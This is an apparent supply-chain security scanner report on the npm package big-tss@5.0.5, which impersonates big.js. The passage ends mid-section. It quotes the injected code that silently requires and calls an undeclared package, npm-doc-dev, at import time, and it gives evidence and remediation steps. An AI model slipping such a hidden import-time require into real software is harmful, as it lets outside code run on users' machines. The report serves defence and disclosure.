LPM AI assessed this version as suspicious; the assessments disagree. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Trusted malware advisory block - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 5.0.5 - **Selected version is latest:** Yes - **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV) OpenSSF/OSV malware advisory MAL-2026-13613 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree. Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree. OpenSSF/OSV advisory MAL-2026-13613 confirms this npm version as malicious. big-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: \`try { const doc = require("npm-doc-dev"); doc.from\_str() } catch (error) {}\`. On any \`require('big-tss')\` this synchronously loads and executes the top-level code of \`npm-doc-dev\` — a package outside the big.js publisher — and calls a method on it,... ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 95.0% - **Started:** 2026-08-07T15:19:38.226Z - **Finished:** 2026-08-07T15:20:05.131Z - **Download time:** 503 ms - **Static scan time:** 152 ms - **AI review time:** 26250 ms - **Total time:** 26905 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Importing the CommonJS entrypoint attempts to load an undeclared ambient module. If npm-doc-dev resolves in the host, its code executes during package import. - **Trigger:** Consumer requires big-tss. - **Impact:** Enables dependency-confusion or ambient-package code execution. - **Evidence paths:** package.json, big.js, big.mjs, README.md - **Review source:** ai\_review - **Reviewed:** 2026-08-07T15:20:05.131Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Hidden import-time require of undeclared module - **Rationale:** The undeclared, silently swallowed import is a concrete and package-unrelated import-time execution surface, but the inspected source does not establish a payload's behavior. Warn rather than block. - **Files touched:** package.json, big.js, big.mjs, README.md ### Review decision - **Verdict:** Suspicious - **Confidence:** 95.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Critical Vulnerability - **False-positive risk:** Low - **Evidence for AI warning decision:** big.js:605 imports npm-doc-dev at module load, big.mjs:605 has the same hidden import, npm-doc-dev is absent from package.json dependencies, The import is unrelated to decimal arithmetic and errors are silently swallowed - **Evidence against:** package.json has no lifecycle hooks or bin entrypoint, Other inspected code implements Big-number arithmetic only, No network, file, shell, credential, or destructive APIs found ## Affected versions and remediation This report applies to big-tss@5.0.5. - Avoid installing big-tss@5.0.5. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
